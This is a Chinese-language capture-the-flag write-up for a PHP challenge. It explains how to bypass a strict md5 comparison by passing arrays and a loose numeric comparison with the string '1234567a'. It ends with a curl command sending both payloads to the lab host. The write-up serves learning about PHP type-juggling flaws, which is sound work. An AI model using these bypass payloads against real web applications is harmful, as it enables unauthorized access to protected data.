解题思路
打开靶场,给了如下源码
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0'); }
else { echo "can you think twice??"; } }
else{ echo 'You can not get it !'; } }
else{ die('only one way to get the flag'); } }
else { echo "You are not a real hacker!"; } }
else{ die('Please input first'); } }
Please input first
看完源码,跟之前的一道可以说一模一样。
md5($id) === md5($gg) && $id !== $gg
id 与 gg的强比较问题,两个参数是get传参
在PHP中,如果md5函数的参数是一个数组,会返回`NULL`,并产生一个警告(但不会终止程序)。因此,如果我们传递两个不同的数组,它们的md5值都是`NULL`,在强类型比较下,`NULL === NULL`为真,而两个数组并不相同(`$id !== $gg`)。因此,我们可以使用数组来绕过:
/?gg[]=a&id[]=b
if (!is_numeric($passwd)) {
if($passwd==1234567)
passwd非数字、弱比较问题 ,passwd是post传参
`is_numeric`函数会判断字符串是否为数字或数字字符串(包括科学计数法、十六进制等)。因此,如果我们使用"1234567a",`is_numeric`会返回false(因为包含字母),所以满足第一个条件。而在与数字1234567进行松散比较时,字符串会被转换成数字1234567(因为开头是数字,直到遇到非数字字符),所以比较成立。结合get两个参数传参,payload使用curl命令:
curl -X POST "http://a779a087-87ae-4315-96ae-b6e7eb273675.node5.buuoj.cn:81/?gg[]=a&id[]=b" --data "passwd=1234567a"
第一次只给了一点点的flag,不知道为什么。
再发一次,就出来了
总结
一道比较基础的php弱比较问题、MD5强碰撞问题、还有get传参和post传参同时进行问题